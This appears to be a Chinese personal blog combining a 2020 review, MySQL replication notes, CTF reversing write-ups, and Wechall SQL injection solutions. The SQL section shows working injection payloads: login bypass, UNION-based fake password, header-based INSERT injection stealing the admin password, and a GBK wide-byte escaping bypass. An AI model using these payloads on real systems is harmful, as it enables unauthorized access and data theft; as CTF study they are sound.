2020总结

其实以我现在的生活节奏,四月份再总结上一年比较靠谱,但跟个风也挺好玩的。

工作

项目

2020年工作上基本上就只做了一个项目:https://help.aliyun.com/document_detail/183956.html 从挖坑到填坑,总算是上线了,也算是完成了一个阶段的填坑工作了。很累,比起之前只做某个组件要累多了。有段时间还有些过于投入,导致最终发现自己无法控制项目走向的时候很不开心,也产生了希望做某个项目的owner/架构师的愿望。
值得庆祝的是,今年终于又找到了新的工程上的期望:下一代高性能kv系统。目前还在努力理清这个系统的轮廓。希望明年能把这个方向往前推一步,或者至少证明下我的一些想法是正确的。

意识到的新东西

一个站在工业界前沿的系统或者项目往往是庞大的。这种系统很难由一个人完成全部的设计和实现,几乎一定是很多人共同努力的成果。作为设计者必须要能冷静客观地对待各种意见(包括自己的想法),才能做出最正确的设计选择。对于这种系统,“这个系统是我做的”这种期望就很不切实际了,能够说“我们看到的方向最终大家被证明是正确的”就是非常大的成功了。
“做出最正确的设计”永远要比“使用了我做的设计”更为重要。这点往往会被很多奇怪的东西干扰(比如组织架构,“组织架构决定系统架构”可不只是句玩笑。比如奇怪的自尊心。等等)。坚持这点往往也要付出很大的代价。但这都是值得的。

整体感受

2020在工作上整体的感受是:在泥潭里努力向远处的一点光亮移动。
还是挺心累的,一方面是缺了很多东西,要从无到有一步步做,另外更主要的方面是担心走错了方向导致一直在泥潭里打转。我认为一定是有什么事情做得不对,有什么该做的没做,导致了现在大家都在泥潭里面,只要重新做对了应该就能走出去。
那些已经填完了最初的坑,站在最前沿的系统(比如神龙/盘古/AVS)起到了很大的激励作用。相信我们未来一定也能爬上岸,重新站在最前沿。

生活

生活还是一如既往的平淡,没啥大起大落。写写流水账好了。

新添物品

买了辆电驴,成为2020买的最有用的东西。
服役多年的小米6终于正式退役,由红米k30s接替。
整了块致钛的SSD,也算支持下国产存储行业。

疫情

很幸运我和我周围的人都没有感染。和03年比,国内的生物科技真是突飞猛进。涉及政治的观点就不展开了。
更加明确了身体是革命的本钱。日常的运动量增加了一些。但2020年的作息调整很失败,还是日常晚睡。
为了不被饿死,整了个电饭煲,还买了几个锅。自己烧了几次菜,明显感觉到厨艺有所进步。但洗碗洗锅还是太麻烦了,出租屋又不方便装洗碗机,所以外卖恢复之后不久就没再烧过了。

技术

今年主要集中于NVM相关的开发,技术积累也主要在这个方面。(同时也就上了Intel的贼船,目前希望Intel好好努力别再翻车了,太让人担心了,笑)“NVM必然会给存储领域带来巨大的改变和全新的挑战”这种废话结论就不展开细说了。
也因为工作的原因开始更深入的了解微架构,感觉是个很有意思的方向。此处安利《计算机体系结构 量化研究方法》。也看到了一些通用计算的困局,进而增加了对异构计算的兴趣。
性能优化也依然是一个兴趣方向。参加了场中间件的性能比赛,拿了第二还是很开心的。希望以后能有机会拿个第一。
分布式上今年主要是看了更多的系统,学习了他们的思考和取舍。希望2021能有机会去参与设计一个分布式的系统。

态度

2020年是很纠结的一年。

依然在努力追求“工作内容就是自己想做的事情”,但由于我还是很菜的,所以为了这点也不得不付出更多代价。
一直以来选择的较为简单的生活方式也带来了很多的好处。我不用消耗很多的钱/劳动力就能获得充足的娱乐/多巴胺。这极大地避免了资本对我的异化。让我可以很坦然地说出“这些激励其实对现在的我没有那么大的作用,我能换点别的吗?比如去做某某项目”
在一家私有制企业中,工作过于投入其实是在上交超额的剩余价值,进一步拉大贫富差距(主要指某些资本家和其他人的差距)。但对于自己喜欢的项目,又很想去做更多的事情。只能希望我的工作为社会带来的价值能弥补我的过错吧(当然其实这锅更多是资本家的)。

一如既往地讨厌复杂的人际关系,坚持有槽就吐,该喷就喷,怎么简单怎么来。很幸运的是我周围的环境对我这种处理人际关系的方式还是很包容的(感谢同事们的大度),所以可以不用在这上面花费太多的精力。
社交圈子还是挺小,有时候会出现某想法/问题找不到人分享/吐槽,或者找不到人吃水林间的情况。希望2021能结识更多的伙伴。

其他

好像也就这么多了。如果想到什么别的就再补吧。

MySQL Replication

因为工作原因了解了一下MySQL Replication(复制)相关的内容,然后感觉好久没写博客了,所以有了这一篇博客。说是了解了一下,但是其实也没看多久,所以如果发现错误欢迎指出~

基本概念:

  1. Binlog:MySQL 层面的log,常用于同步,审计等等。Binlog中的基本单位为Event,有几种形态:
    1. Statement Based:记录SQL语句
    2. Row Based:记录对表中行的修改
    3. Mix:优先使用Statement Based,对于Statement Based不支持的语句,使用Row Based。
  2. WAL:存储引擎层面的log,比如Rocksdb中的WAL,InnoDB中的Redolog。
  3. 以上两者间通过XA保证一致性
  4. Relay Log:Binlog在远端机器上的副本
  5. 位点:当前复制进行到的位置,一般保存在文件或者数据库中。

单机模式

在单机模式下,以上几个Binlog和WAL的工作流程(从上往下为时间轴):

当一个事务完成了Prepare并进入Commit流程后(对应最左侧SQL Commit)
首先会通知存储引擎层进入Prepare状态。对于Innodb,几乎无需进行任何操作,因为修改已经写入Redolog。对于MyRocks,此时需要将内存中的WriteBatch写入WAL。
在存储引擎Prepare完成后开始写入Binlog。
之后依据sync_binlog参数判断是否需要将binlog刷盘。
而后通知存储引擎Commit该修改。
最后响应用户。

当发生crash时,大致有以下几种情况:

  1. Engine中已经Commit:
    Binlog中一定有记录,无需处理
  2. Engine中已经Prepared,Binlog中有记录:
    通知 Engine Commit
  3. Engine中已经Prepared ,Binlog中没有记录:
    通知 Engine Rollback
  4. Engine还没Prepare:
    事务还没执行完,通知 Engine Rollback

这样在单机条件下就可以保证Binlog和WAL即使在crash后也依旧是一致的。

复制(replication)

结构


首先从节点会通过IO线程向主节点注册自身。并告知主节点,自身希望从Binlog的什么位置开始复制。
主节点收到从节点的注册后就会拉起一个线程开始向从节点发送数据。
IO线程接收到主库发来的Events就会放进relay log
SQL线程负责在从库apply这些relay log

常见的几种复制模式:

异步复制:


与单机模式的区别就是在通知存储引擎Prepare的同时,会推送这个事务给从节点,但并不等待从返回,直接继续。
在这种模式下,从节点的log可能是与主节点不一致的,如果主节点宕机,则会丢失还未被同步到从节点的事务。

半同步

为了尽可能的提高主从切换之后的数据一致性,MySQL还提供了称之为半同步的模式:

与异步的主要区别是,在通知存储引擎后,必须等待至少一个从节点(新版可以配置至少等待多少个节点完成)已经将发送过去的Event落盘并回复,之后才能给用户发送响应。
如果超过设定的超时时间还没有从节点反馈,则退化为异步复制。若之后又有从节点注册到主节点上,则恢复半同步复制。
这样当用户完成一次写请求时,可以保证对应的数据至少已经保存在两个数据库中了。

然而这种流程下依然存在着问题,设想以下这种情况:

主节点到从节点的网络突然中断,两次发送的enqueue请求均没有到达从节点。而在此时主节点宕机。
这样会出现两个问题:

  1. 主从数据不一致。首先由于主宕机,我们会切换到从节点继续服务。当旧的主节点重新拉起后,会发现该条事务同时出现在Binlog和WAL中,故会通知引擎层Commit该事务。然而该事务在新的主节点(旧的从节点)上并不存在,进而导致旧的主节点无法与新的主节点(旧的从节点)建立同步关系。
  2. 幻读。当存储引擎层Commit后,该事务造成的修改就对读请求可见了,然而主从切换之后,新的主节点(旧的从节点)并没有该条事务的记录。从客户端的视角来看就是之前能读取的数据突然不见了,也就是幻读了。注意主节点宕机时并未Respond该写事务,所以并不是数据丢失。

增强(无损)半同步

为了解决以上问题MySQL又引入了增强(无损)半同步。

大致改动就是在存储引擎层Commit之前就要得到从节点的回复,进而解决了以上的问题。

全同步模式

国内大部分对于MySQL的改造版基本都引入了全同步模式/强同步模式/最大保护(Max Protection)模式
与半同步的主要不同是当超时时间内无从节点回复时,不回退至异步模式,而是停止服务,直到有从节点接收到该事务并回复。
主要用于对一致性要求较高的场景,并常通过使用多个备节点来增加可用性。

从节点 Crash Safe

如果从节点发生crash,最直接的问题就是relaylog的位点可能和relaylog不吻合(先写入了relaylog,还没来得及更新位点就崩了)。同理SQL线程执行的位置也有可能和SQL位点不吻合。
MySQL采取的改进方式也很直接:将位点保存在数据库中,从而构造一个事务,通过事务的原子性来保证位点的更新和相关的操作是原子的。

//写累了,以下等有空来补
//2020.01.01 对不起,应该是弃坑了


GTID

性能优化

由于半同步模式必须等待从节点返回,所以延迟会比异步模式高。当然“延迟不应该影响吞吐”,所以MySQL为了半同步模式下的吞吐做了很多优化。

Group Commit

并行apply

异步传输binlog

HA

GitHub October 21 Incident

GeekPwnCTF2016 qual HugMe-300

一个加了壳的swf(后来知道是doswf的壳)

先preload挂个TheMiner,然后看loader的内容,脱去第一层壳。

反编译取出的swf,发现一个坑

显示出来的hugme啥用都没有。。。需要点击的那个hugme又没被正确加载。。需要自己做修改
然后才能看见真正的按钮

接着关键的判断逻辑。

然而Verify运行时才载入。。

于是再次脱壳。。。TheMiner没hook loadBytes,所以这里只能自己来
提取出这个函数运行然后把uncompress的结果base64一下,trace打出来。
然后再用python保存成文件。(不会actionscript的文件读写只好这么搞)

然后反编译保存下来的文件,发现校验过程其实就是个方程组

method3没用。。只要符合method2里的方程组,method3一定符合。

然后就是求解方程组得到一组解[14,0,1,14,14,14,13,0,9,3,12,11,2,2,11]
对应的flag e01eeed093cb22b
然而这才15位 。。根据readme的提示,枚举最后一位。。发现e01eeed093cb22bb是hello world的md5

故flag为e01eeed093cb22bb

reversing.kr AutoHotkey2

有autohotkey自带的upx壳
upx
还有自校验。。

这题给的文件是修改过的,所以无法通过自校验
corrupt

考虑到有自校验,所以就没有先脱壳。
直接带壳调试,用堆栈平衡很快找到OEP=00442B4F
oep

然后可以看到第一个关键跳转:
check1
448265必须跳
跟进4508C7,是在计算校验值,并判断。
check_cmp1
ebp-0x10其实是文件的最后四个字节
checksu
所以文件的最后四个字节是计算出的校验值异或0xAAAAAAAA之后得到的值

程序接下来直接利用文件倒数第八到倒数第五个字节作为附加数据开始地址,读取附加数据开头,然后开始判断是否为附加数据,即判断开头是否是以下16个字节
A3 48 4B BE 98 6C 4A A9 99 4C 53 0A 86 D6 48 7D
check2
所以文件的倒数第八到倒数第五个字节是附加数据开始地址
用16进制编辑器可以找到真正的附加数据开头
offest1
然后只需要修正文件的最后8个字节即可,注意修改附加数据地址也会改变校验值,所以应该先修改附加数据地址,再修改校验值。
最后的修改如下
patch
然后程序就能正常运行了
result
百度一下即可找到答案jonsnow

参考文章

简析AutoIt程序脱壳后的自校验处理_看雪
(这篇文章里讲的是autoit的自校验,比autohotkey的稍微复杂一些(多了一次校验),但是基本方法是一样的,当时看这个文章得到不少思路)

Wechall SQLI

这些题是为了准备安恒杯校内个人赛做的,虽然后来还是没做出安恒杯的sql注入(据说只要用sqlmap扫就行?)

MySQL1

基础入门题
username完全无过滤,可以直接去掉密码验证
查询语句

SELECT * FROM users WHERE username='$username' AND password='$password'

构造:

SELECT * FROM users WHERE username='admin' or ''='' AND password='$password'

传说中的万能密码的原理 admin’ or “=’

MySQL2

依然基础题,南邮的平台上遇到过类似的。
先用用户名取出密码,然后比对密码。只要让sql语句返回一个假的密码就OK了。
查询语句:

SELECT * FROM users WHERE username='$username'

构造:

SELECT * FROM users WHERE username='admin' and 1=2 union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'

注意PHP的md5函数得到的是32位小写的md5

The Guestbook

INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '$ip', '$message')

ip message都是注入点。
ip好像不太好注入。
message可以注。
构造:

INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '$ip', 'aaa') #')

然而有一个mysql_real_escape_string,会自动转译。搜了一下可以通过宽字符绕过。

例子:

<?php  
    header('Content-Type: text/html; charset=GBK');  
    $input = chr(0xbf) . chr(0x27) . ' OR username = username; /*';  
    $value = addslashes($input);  
    $sql = "SELECT * FROM users WHERE username='{$value}' AND password='123123';";  
  
    echo $value;  
    echo '<br>';  
    echo $sql;  
    echo '<br>';  

chr(0xbf) 和 chr(0x27)相连接, 构成一个双字节字符(0xbf27)… 而0xbf27只是一个人为合成的双字节, 不在GBK编码表里, 也就是说不是一个合法的GBK双字节字符… 系统(mysql)会把这个双字节拆分为2个单字节解析(也就是0xbf和0x27), 而addslashes并不知道它是非法的双字节字符, 单引号的GBK编码就是chr(0x27), 单独使用使addslashes是可以识别的…

然而这个洞已经在mysql5.0.x修复了。。作罢

只能从IP注入了。。上burpsuite,加一个X-Forwarded-For

构造:

INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '127.0.0.1',(select gbu_password from gbook_user where  gbu_name='admin'))#‘, '$message')

其实中间复习了一波sql语句。。但是没搞懂怎么在insert语句里用select的结果。。后来发现加一对括号足以。。。

No Escape

要刷票233333
关键语句:

UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1

构造:

UPDATE noescvotes SET `george`=`george`+100 #`=`george`+1 WHERE id=1

实际的url参数:

?vote_for=george`=`george`%2b111%23

注意url转义

Blinded by the light

目标是获取 an md5 password hash
盲注
关键语句

SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'

'union select '1'#直接可以登陆,然而它要密码。。
'or'1'='1'#正确的情况
'or'1'='2'#错误的情况
'or password=password#
发现生成的hash只有ABCDEF0123456789这些字符,就是一个32位的16进制的数
'or password=0#正确。。
弃治看题解。。
题解提到了一个sql函数substring。。
于是去补了一通sql函数

CONCAT( 字串1, 字串2, 字串3, ...)  
SUBSTR (str, pos, len) 
SUBSTR (str, pos)
TRIM()
Length (str)
REPLACE (Region_Name, 'ast', 'astern')

#是个很不靠谱的注释符号
还是用--比较好

最后的解法是二分猜解
解题代码直接看乌云的题解吧。。。

参考资料

MySQL注入技巧_乌云
wechall mysql关卡题解_乌云

Hello Blogo

这个叫blogo的静态博客生成器终于算是基本完成了,这篇文章的发布时间使用的是blogo第一个commit的时间,仔细一看确实是拖了好久啊。现在(1457181826)终于把这个坑填完了。。

一直认为博客的程序应该要自己写,断断续续写了好多。。拿dw点出来的ASP+Access的版本啊,PHP的版本啊,node的版本啊,一直到现在这个Go写的Blogo。

然而前面的那些都因为各种原因只在本地跑过,从未真正可以被外界访问。这个Blogo是第一个真正投入使用的版本。看到博客成功被push到Github上的时候很开心啊。

评论部分暂且用了多说,不排除未来用disqus的可能性。

最后是一波感谢:
生成器部分参考了天天大神的Catsup
前端参考了萝莉聚聚的ricter.me
灰常感谢


你问背景是谁?背景是我头像的女票。没错。。头像的。。我头像有女票你怕不怕(好像是个悲伤的故事)233333